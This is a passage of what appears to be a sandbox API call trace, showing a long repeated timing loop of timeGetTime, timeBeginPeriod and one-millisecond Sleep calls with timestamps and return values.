timeGetTime () returned 0xe4bb3f [0054.657] Sleep (dwMilliseconds=0x1) [0054.662] timeGetTime () returned 0xe4bb4f [0054.663] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.663] timeGetTime () returned 0xe4bb4f [0054.663] Sleep (dwMilliseconds=0x1) [0054.679] timeGetTime () returned 0xe4bb62 [0054.679] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.679] timeGetTime () returned 0xe4bb63 [0054.680] Sleep (dwMilliseconds=0x1) [0054.684] timeGetTime () returned 0xe4bb67 [0054.684] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.684] timeGetTime () returned 0xe4bb67 [0054.684] Sleep (dwMilliseconds=0x1) [0054.687] timeGetTime () returned 0xe4bb6a [0054.687] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.687] timeGetTime () returned 0xe4bb6a [0054.687] Sleep (dwMilliseconds=0x1) [0054.691] timeGetTime () returned 0xe4bb6f [0054.692] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.692] timeGetTime () returned 0xe4bb6f [0054.692] Sleep (dwMilliseconds=0x1) [0054.695] timeGetTime () returned 0xe4bb72 [0054.695] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.695] timeGetTime () returned 0xe4bb72 [0054.695] Sleep (dwMilliseconds=0x1) [0054.698] timeGetTime () returned 0xe4bb75 [0054.698] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.698] timeGetTime () returned 0xe4bb75 [0054.698] Sleep (dwMilliseconds=0x1) [0054.700] timeGetTime () returned 0xe4bb78 [0054.700] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.700] timeGetTime () returned 0xe4bb78 [0054.700] Sleep (dwMilliseconds=0x1) [0054.704] timeGetTime () returned 0xe4bb7c [0054.704] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.704] timeGetTime () returned 0xe4bb7c [0054.704] Sleep (dwMilliseconds=0x1) [0054.706] timeGetTime () returned 0xe4bb7e [0054.707] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.707] timeGetTime () returned 0xe4bb7e [0054.707] Sleep (dwMilliseconds=0x1) [0054.709] timeGetTime () returned 0xe4bb80 [0054.709] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.709] timeGetTime () returned 0xe4bb81 [0054.709] Sleep (dwMilliseconds=0x1) [0054.711] timeGetTime () returned 0xe4bb83 [0054.711] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.711] timeGetTime () returned 0xe4bb83 [0054.711] Sleep (dwMilliseconds=0x1) [0054.714] timeGetTime () returned 0xe4bb85 [0054.714] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.714] timeGetTime () returned 0xe4bb85 [0054.714] Sleep (dwMilliseconds=0x1) [0054.715] timeGetTime () returned 0xe4bb86 [0054.715] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.715] timeGetTime () returned 0xe4bb87 [0054.715] Sleep (dwMilliseconds=0x1) [0054.717] timeGetTime () returned 0xe4bb88 [0054.717] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.717] timeGetTime () returned 0xe4bb88 [0054.717] Sleep (dwMilliseconds=0x1) [0054.717] timeGetTime () returned 0xe4bb89 [0054.717] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.717] timeGetTime () returned 0xe4bb89 [0054.717] Sleep (dwMilliseconds=0x1) [0054.718] timeGetTime () returned 0xe4bb8a [0054.718] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.718] timeGetTime () returned 0xe4bb8a [0054.718] Sleep (dwMilliseconds=0x1) [0054.719] timeGetTime () returned 0xe4bb8b [0054.719] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.719] timeGetTime () returned 0xe4bb8b [0054.719] Sleep (dwMilliseconds=0x1) [0054.720] timeGetTime () returned 0xe4bb8c [0054.720] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.720] timeGetTime () returned 0xe4bb8c [0054.721] Sleep (dwMilliseconds=0x1) [0054.721] timeGetTime () returned 0xe4bb8d [0054.721] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.721] timeGetTime () returned 0xe4bb8d [0054.721] Sleep (dwMilliseconds=0x1) [0054.722] timeGetTime () returned 0xe4bb8e [0054.722] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.722] timeGetTime () returned 0xe4bb8e [0054.722] Sleep (dwMilliseconds=0x1) [0054.723] timeGetTime () returned 0xe4bb8f [0054.723] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.723] timeGetTime () returned 0xe4bb8f [0054.723] Sleep (dwMilliseconds=0x1) [0054.724] timeGetTime () returned 0xe4bb90 [0054.724] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.724] timeGetTime () returned 0xe4bb90 [0054.724] Sleep (dwMilliseconds=0x1) [0054.725] timeGetTime () returned 0xe4bb91 [0054.725] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.725] timeGetTime () returned 0xe4bb91 [0054.725] Sleep (dwMilliseconds=0x1) [0054.726] timeGetTime () returned 0xe4bb92 [0054.726] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.726] timeGetTime () returned 0xe4bb92 [0054.726] Sleep (dwMilliseconds=0x1) [0054.727] timeGetTime () returned 0xe4bb93 [0054.727] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.727] timeGetTime () returned 0xe4bb93 [0054.727] Sleep (dwMilliseconds=0x1) [0054.728] timeGetTime () returned 0xe4bb94 [0054.728] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.728] timeGetTime () returned 0xe4bb94 [0054.728] Sleep (dwMilliseconds=0x1) [0054.729] timeGetTime () returned 0xe4bb95 [0054.729] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.729] timeGetTime () returned 0xe4bb95 [0054.729] Sleep (dwMilliseconds=0x1) [0054.730] timeGetTime () returned 0xe4bb96 [0054.730] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.730] timeGetTime () returned 0xe4bb96 [0054.730] Sleep (dwMilliseconds=0x1) [0054.731] timeGetTime () returned 0xe4bb97 [0054.731] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.731] timeGetTime () returned 0xe4bb97 [0054.731] Sleep (dwMilliseconds=0x1) [0054.732] timeGetTime () returned 0xe4bb98 [0054.732] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.732] timeGetTime () returned 0xe4bb98 [0054.732] Sleep (dwMilliseconds=0x1) [0054.733] timeGetTime () returned 0xe4bb99 [0054.733] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.733] timeGetTime () returned 0xe4bb99 [0054.733] Sleep (dwMilliseconds=0x1) [0054.734] timeGetTime () returned 0xe4bb9a [0054.734] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.734] timeGetTime () returned 0xe4bb9a [0054.734] Sleep (dwMilliseconds=0x1) [0054.735] timeGetTime () returned 0xe4bb9b [0054.735] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.735] timeGetTime () returned 0xe4bb9b [0054.735] Sleep (dwMilliseconds=0x1) [0054.736] timeGetTime () returned 0xe4bb9c [0054.736] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.736] timeGetTime () returned 0xe4bb9c [0054.736] Sleep (dwMilliseconds=0x1) [0054.737] timeGetTime () returned 0xe4bb9d [0054.737] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.737] timeGetTime () returned 0xe4bb9d [0054.737] Sleep (dwMilliseconds=0x1) [0054.738] timeGetTime () returned 0xe4bb9e [0054.738] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.738] timeGetTime () returned 0xe4bb9e [0054.738] Sleep (dwMilliseconds=0x1) [0054.739] timeGetTime () returned 0xe4bb9f [0054.739] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.739] timeGetTime () returned 0xe4bb9f [0054.739] Sleep (dwMilliseconds=0x1) [0054.740] timeGetTime () returned 0xe4bba0 [0054.740] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.740] timeGetTime () returned 0xe4bba0 [0054.740] Sleep (dwMilliseconds=0x1) [0054.741] timeGetTime () returned 0xe4bba1 [0054.741] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.741] timeGetTime () returned 0xe4bba1 [0054.741] Sleep (dwMilliseconds=0x1) [0054.742] timeGetTime () returned 0xe4bba2 [0054.742] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.742] timeGetTime () returned 0xe4bba2 [0054.742] Sleep (dwMilliseconds=0x1) [0054.743] timeGetTime () returned 0xe4bba3 [0054.743] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.743] timeGetTime () returned 0xe4bba3 [0054.743] Sleep (dwMilliseconds=0x1) [0054.744] timeGetTime () returned 0xe4bba4 [0054.744] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.744] timeGetTime () returned 0xe4bba4 [0054.744] Sleep (dwMilliseconds=0x1) [0054.746] timeGetTime () returned 0xe4bba5 [0054.746] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.746] timeGetTime () returned 0xe4bba5 [0054.746] Sleep (dwMilliseconds=0x1) [0054.746] timeGetTime () returned 0xe4bba6 [0054.746] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.746] timeGetTime () returned 0xe4bba6 [0054.746] Sleep (dwMilliseconds=0x1) [0054.747] timeGetTime () returned 0xe4bba7 [0054.747] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.747] timeGetTime () returned 0xe4bba7 [0054.747] Sleep (dwMilliseconds=0x1) [0054.748] timeGetTime () returned 0xe4bba8 [0054.748] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.748] timeGetTime () returned 0xe4bba8 [0054.748] Sleep (dwMilliseconds=0x1) [0054.749] timeGetTime () returned 0xe4bba9 [0054.749] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.749] timeGetTime () returned 0xe4bba9 [0054.749] Sleep (dwMilliseconds=0x1) [0054.750] timeGetTime () returned 0xe4bbaa [0054.750] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.750] timeGetTime () returned 0xe4bbaa [0054.750] Sleep (dwMilliseconds=0x1) [0054.751] timeGetTime () returned 0xe4bbab [0054.751] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.751] timeGetTime () returned 0xe4bbab [0054.751] Sleep (dwMilliseconds=0x1) [0054.752] timeGetTime () returned 0xe4bbac [0054.752] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.752] timeGetTime () returned 0xe4bbac [0054.752] Sleep (dwMilliseconds=0x1) [0054.753] timeGetTime () returned 0xe4bbad [0054.753] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.753] timeGetTime () returned 0xe4bbad [0054.753] Sleep (dwMilliseconds=0x1) [0054.754] timeGetTime () returned 0xe4bbae [0054.754] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.754] timeGetTime () returned 0xe4bbae [0054.754] Sleep (dwMilliseconds=0x1) [0054.755] timeGetTime () returned 0xe4bbaf [0054.755] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.755] timeGetTime () returned 0xe4bbaf [0054.755] Sleep (dwMilliseconds=0x1) [0054.756] timeGetTime () returned 0xe4bbb0 [0054.756] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.756] timeGetTime () returned 0xe4bbb0 [0054.756] Sleep (dwMilliseconds=0x1) [0054.758] timeGetTime () returned 0xe4bbb1 [0054.758] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.758] timeGetTime () returned 0xe4bbb1 [0054.758] Sleep (dwMilliseconds=0x1) [0054.758] timeGetTime () returned 0xe4bbb2 [0054.758] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.758] timeGetTime () returned 0xe4bbb2 [0054.758] Sleep (dwMilliseconds=0x1) [0054.759] timeGetTime () returned 0xe4bbb3 [0054.759] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.759] timeGetTime () returned 0xe4bbb3 [0054.759] Sleep (dwMilliseconds=0x1) [0054.760] timeGetTime () returned 0xe4bbb4 [0054.760] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.760] timeGetTime () returned 0xe4bbb4 [0054.760] Sleep (dwMilliseconds=0x1) [0054.761] timeGetTime () returned 0xe4bbb5 [0054.761] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.761] timeGetTime () returned 0xe4bbb5 [0054.761] Sleep (dwMilliseconds=0x1) [0054.762] timeGetTime () returned 0xe4bbb6 [0054.762] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.762] timeGetTime () returned 0xe4bbb6 [0054.762] Sleep (dwMilliseconds=0x1) [0054.763] timeGetTime () returned 0xe4bbb7 [0054.763] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.763] timeGetTime () returned 0xe4bbb7 [0054.763] Sleep (dwMilliseconds=0x1) [0054.765] timeGetTime () returned 0xe4bbb8 [0054.765] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.765] timeGetTime () returned 0xe4bbb8 [0054.765] Sleep (dwMilliseconds=0x1) [0054.765] timeGetTime () returned 0xe4bbb9 [0054.765] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.765] timeGetTime () returned 0xe4bbb9 [0054.765] Sleep (dwMilliseconds=0x1) [0054.766] timeGetTime () returned 0xe4bbba [0054.766] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.766] timeGetTime () returned 0xe4bbba [0054.766] Sleep (dwMilliseconds=0x1) [0054.767] timeGetTime () returned 0xe4bbbb [0054.767] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.767] timeGetTime () returned 0xe4bbbb [0054.767] Sleep (dwMilliseconds=0x1) [0054.768] timeGetTime () returned 0xe4bbbc [0054.768] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.768] timeGetTime () returned 0xe4bbbc [0054.768] Sleep (dwMilliseconds=0x1) [0054.769] timeGetTime () returned 0xe4bbbd [0054.769] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.769] timeGetTime () returned 0xe4bbbd [0054.769] Sleep (dwMilliseconds=0x1) [0054.770] timeGetTime () returned 0xe4bbbe [0054.770] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.770] timeGetTime () returned 0xe4bbbe [0054.770] Sleep (dwMilliseconds=0x1) [0054.771] timeGetTime () returned 0xe4bbbf [0054.771] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.771] timeGetTime () returned 0xe4bbbf [0054.771] Sleep (dwMilliseconds=0x1) [0054.772] timeGetTime () returned 0xe4bbc0 [0054.772] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.772] timeGetTime () returned 0xe4bbc0 [0054.772] Sleep (dwMilliseconds=0x1) [0054.773] timeGetTime () returned 0xe4bbc1 [0054.773] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.773] timeGetTime () returned 0xe4bbc1 [0054.773] Sleep (dwMilliseconds=0x1) [0054.774] timeGetTime () returned 0xe4bbc2 [0054.774] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.774] timeGetTime () returned 0xe4bbc2 [0054.774] Sleep (dwMilliseconds=0x1) [0054.775] timeGetTime () returned 0xe4bbc3 [0054.775] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.775] timeGetTime () returned 0xe4bbc3 [0054.775] Sleep (dwMilliseconds=0x1) [0054.776] timeGetTime () returned 0xe4bbc4 [0054.776] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.776] timeGetTime () returned 0xe4bbc4 [0054.776] Sleep (dwMilliseconds=0x1) [0054.777] timeGetTime () returned 0xe4bbc5 [0054.777] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.777] timeGetTime () returned 0xe4bbc5 [0054.777] Sleep (dwMilliseconds=0x1) [0054.778] timeGetTime () returned 0xe4bbc6 [0054.778] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.778] timeGetTime () returned 0xe4bbc6 [0054.778] Sleep (dwMilliseconds=0x1) [0054.779] timeGetTime () returned 0xe4bbc7 [0054.779] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.779] timeGetTime () returned 0xe4bbc7 [0054.779] Sleep (dwMilliseconds=0x1) [0054.781] timeGetTime () returned 0xe4bbc8 [0054.781] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.781] timeGetTime () returned 0xe4bbc8 [0054.781] Sleep (dwMilliseconds=0x1) [0054.781] timeGetTime () returned 0xe4bbc9 [0054.781] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.782] timeGetTime () returned 0xe4bbc9 [0054.782] Sleep (dwMilliseconds=0x1) [0054.782] timeGetTime () returned 0xe4bbca [0054.782] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.782] timeGetTime () returned 0xe4bbca [0054.782] Sleep (dwMilliseconds=0x1) [0054.783] timeGetTime () returned 0xe4bbcb [0054.783] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.783] timeGetTime () returned 0xe4bbcb [0054.784] Sleep (dwMilliseconds=0x1) [0054.784] timeGetTime () returned 0xe4bbcc [0054.784] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.784] timeGetTime () returned 0xe4bbcc [0054.785] Sleep (dwMilliseconds=0x1) [0054.785] timeGetTime () returned 0xe4bbcd [0054.785] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.785] timeGetTime () returned 0xe4bbcd [0054.785] Sleep (dwMilliseconds=0x1) [0054.786] timeGetTime () returned 0xe4bbce [0054.786] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.786] timeGetTime () returned 0xe4bbce [0054.787] Sleep (dwMilliseconds=0x1) [0054.787] timeGetTime () returned 0xe4bbcf [0054.788] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.788] timeGetTime () returned 0xe4bbcf [0054.788] Sleep (dwMilliseconds=0x1) [0054.788] timeGetTime () returned 0xe4bbd0 [0054.788] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.788] timeGetTime () returned 0xe4bbd0 [0054.789] Sleep (dwMilliseconds=0x1) [0054.789] timeGetTime () returned 0xe4bbd1 [0054.789] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.790] timeGetTime () returned 0xe4bbd1 [0054.790] Sleep (dwMilliseconds=0x1) [0054.790] timeGetTime () returned 0xe4bbd2 [0054.791] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.791] timeGetTime () returned 0xe4bbd2 [0054.791] Sleep (dwMilliseconds=0x1) [0054.791] timeGetTime () returned 0xe4bbd3 [0054.791] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.792] timeGetTime () returned 0xe4bbd3 [0054.792] Sleep (dwMilliseconds=0x1) [0054.792] timeGetTime () returned 0xe4bbd4 [0054.792] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.792] timeGetTime () returned 0xe4bbd4 [0054.792] Sleep (dwMilliseconds=0x1) [0054.795] timeGetTime () returned 0xe4bbd6 [0054.795] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.795] timeGetTime () returned 0xe4bbd6 [0054.795] Sleep (dwMilliseconds=0x1) [0054.796] timeGetTime () returned 0xe4bbd7 [0054.796] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.796] timeGetTime () returned 0xe4bbd7 [0054.796] Sleep (dwMilliseconds=0x1) [0054.796] timeGetTime () returned 0xe4bbd8 [0054.797] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.797] timeGetTime () returned 0xe4bbd8 [0054.797] Sleep (dwMilliseconds=0x1) [0054.797] timeGetTime () returned 0xe4bbd9 [0054.797] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.798] timeGetTime () returned 0xe4bbd9 [0054.798] Sleep (dwMilliseconds=0x1) [0054.798] timeGetTime () returned 0xe4bbda [0054.799] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.799] timeGetTime () returned 0xe4bbda [0054.799] Sleep (dwMilliseconds=0x1) [0054.799] timeGetTime () returned 0xe4bbdb [0054.799] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.800] timeGetTime () returned 0xe4bbdb [0054.800] Sleep (dwMilliseconds=0x1) [0054.800] timeGetTime () returned 0xe4bbdc [0054.801] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.801] timeGetTime () returned 0xe4bbdc [0054.801] Sleep (dwMilliseconds=0x1) [0054.801] timeGetTime () returned 0xe4bbdd [0054.801] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.801] timeGetTime () returned 0xe4bbdd [0054.802] Sleep (dwMilliseconds=0x1) [0054.802] timeGetTime () returned 0xe4bbde [0054.802] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.802] timeGetTime () returned 0xe4bbde [0054.802] Sleep (dwMilliseconds=0x1) [0054.803] timeGetTime () returned 0xe4bbdf [0054.803] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.803] timeGetTime () returned 0xe4bbdf [0054.803] Sleep (dwMilliseconds=0x1) [0054.804] timeGetTime () returned 0xe4bbe0 [0054.804] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.804] timeGetTime () returned 0xe4bbe0 [0054.804] Sleep (dwMilliseconds=0x1) [0054.805] timeGetTime () returned 0xe4bbe1 [0054.805] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.805] timeGetTime () returned 0xe4bbe1 [0054.805] Sleep (dwMilliseconds=0x1) [0054.806] timeGetTime () returned 0xe4bbe2 [0054.806] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.806] timeGetTime () returned 0xe4bbe2 [0054.806] Sleep (dwMilliseconds=0x1) [0054.807] timeGetTime () returned 0xe4bbe3 [0054.807] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.807] timeGetTime () returned 0xe4bbe3 [0054.807] Sleep (dwMilliseconds=0x1) [0054.808] timeGetTime () returned 0xe4bbe4 [0054.808] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.808] timeGetTime () returned 0xe4bbe4 [0054.808] Sleep (dwMilliseconds=0x1) [0054.809] timeGetTime () returned 0xe4bbe5 [0054.809] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.809] timeGetTime () returned 0xe4bbe5 [0054.809] Sleep (dwMilliseconds=0x1) [0054.810] timeGetTime () returned 0xe4bbe6 [0054.810] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.811] timeGetTime () returned 0xe4bbe6 [0054.811] Sleep (dwMilliseconds=0x1) [0054.811] timeGetTime () returned 0xe4bbe7 [0054.811] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.811] timeGetTime () returned 0xe4bbe7 [0054.811] Sleep (dwMilliseconds=0x1) [0054.812] timeGetTime () returned 0xe4bbe8 [0054.812] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.813] timeGetTime () returned 0xe4bbe8 [0054.813] Sleep (dwMilliseconds=0x1) [0054.813] timeGetTime () returned 0xe4bbe9 [0054.813] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.813] timeGetTime () returned 0xe4bbe9 [0054.813] Sleep (dwMilliseconds=0x1) [0054.814] timeGetTime () returned 0xe4bbea [0054.814] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.814] timeGetTime () returned 0xe4bbea [0054.815] Sleep (dwMilliseconds=0x1) [0054.815] timeGetTime () returned 0xe4bbeb [0054.815] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.815] timeGetTime () returned 0xe4bbeb [0054.816] Sleep (dwMilliseconds=0x1) [0054.816] timeGetTime () returned 0xe4bbec [0054.816] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.816] timeGetTime () returned 0xe4bbec [0054.816] Sleep (dwMilliseconds=0x1) [0054.817] timeGetTime () returned 0xe4bbed [0054.817] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.817] timeGetTime () returned 0xe4bbed [0054.818] Sleep (dwMilliseconds=0x1) [0054.818] timeGetTime () returned 0xe4bbee [0054.818] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.818] timeGetTime () returned 0xe4bbee [0054.818] Sleep (dwMilliseconds=0x1) [0054.819] timeGetTime () returned 0xe4bbef [0054.819] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.820] timeGetTime () returned 0xe4bbef [0054.820] Sleep (dwMilliseconds=0x1) [0054.820] timeGetTime () returned 0xe4bbf0 [0054.820] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.821] timeGetTime () returned 0xe4bbf0 [0054.821] Sleep (dwMilliseconds=0x1) [0054.822] timeGetTime () returned 0xe4bbf1 [0054.822] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.822] timeGetTime () returned 0xe4bbf1 [0054.822] Sleep (dwMilliseconds=0x1) [0054.822] timeGetTime () returned 0xe4bbf2 [0054.822] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.823] timeGetTime () returned 0xe4bbf2 [0054.823] Sleep (dwMilliseconds=0x1) [0054.823] timeGetTime () returned 0xe4bbf3 [0054.824] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.824] timeGetTime () returned 0xe4bbf3 [0054.824] Sleep (dwMilliseconds=0x1) [0054.824] timeGetTime () returned 0xe4bbf4 [0054.824] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.825] timeGetTime () returned 0xe4bbf4 [0054.825] Sleep (dwMilliseconds=0x1) [0054.825] timeGetTime () returned 0xe4bbf5 [0054.825] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.826] timeGetTime () returned 0xe4bbf5 [0054.826] Sleep (dwMilliseconds=0x1) [0054.826] timeGetTime () returned 0xe4bbf6 [0054.827] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.827] timeGetTime () returned 0xe4bbf6 [0054.827] Sleep (dwMilliseconds=0x1) [0054.827] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.828] Sleep (dwMilliseconds=0x1) [0054.829] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.829] Sleep (dwMilliseconds=0x1) [0054.829] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.830] Sleep (dwMilliseconds=0x1) [0054.830] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.831] Sleep (dwMilliseconds=0x1) [0054.831] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.832] Sleep (dwMilliseconds=0x1) [0054.832] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.832] Sleep (dwMilliseconds=0x1) [0054.833] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.833] Sleep (dwMilliseconds=0x1) [0054.834] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.834] Sleep (dwMilliseconds=0x1) [0054.835] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.835] Sleep (dwMilliseconds=0x1) [0054.836] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.836] Sleep (dwMilliseconds=0x1) [0054.837] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.837] Sleep (dwMilliseconds=0x1) [0054.838] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.838] Sleep (dwMilliseconds=0x1) [0054.839] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.839] Sleep (dwMilliseconds=0x1) [0054.841] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.841] Sleep (dwMilliseconds=0x1) [0054.841] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.842] Sleep (dwMilliseconds=0x1) [0054.842] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.843] Sleep (dwMilliseconds=0x1) [0054.843] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.844] Sleep (dwMilliseconds=0x1) [0054.845] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.845] Sleep (dwMilliseconds=0x1) [0054.846] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.846] Sleep (dwMilliseconds=0x1) [0054.847] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.847] Sleep (dwMilliseconds=0x1) [0054.848] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.848] Sleep (dwMilliseconds=0x1) [0054.848] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.849] Sleep (dwMilliseconds=0x1) [0054.849] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.849] Sleep (dwMilliseconds=0x1) [0054.850] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.851] Sleep (dwMilliseconds=0x1) [0054.851] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.851] Sleep (dwMilliseconds=0x1) [0054.853] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.853] Sleep (dwMilliseconds=0x1) [0054.853] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.853] Sleep (dwMilliseconds=0x1) [0054.854] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.854] Sleep (dwMilliseconds=0x1) [0054.855] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.855] Sleep (dwMilliseconds=0x1) [0054.857] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.857] Sleep (dwMilliseconds=0x1) [0054.858] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.858] Sleep (dwMilliseconds=0x1) [0054.859] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.860] Sleep (dwMilliseconds=0x1) [0054.861] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.861] Sleep 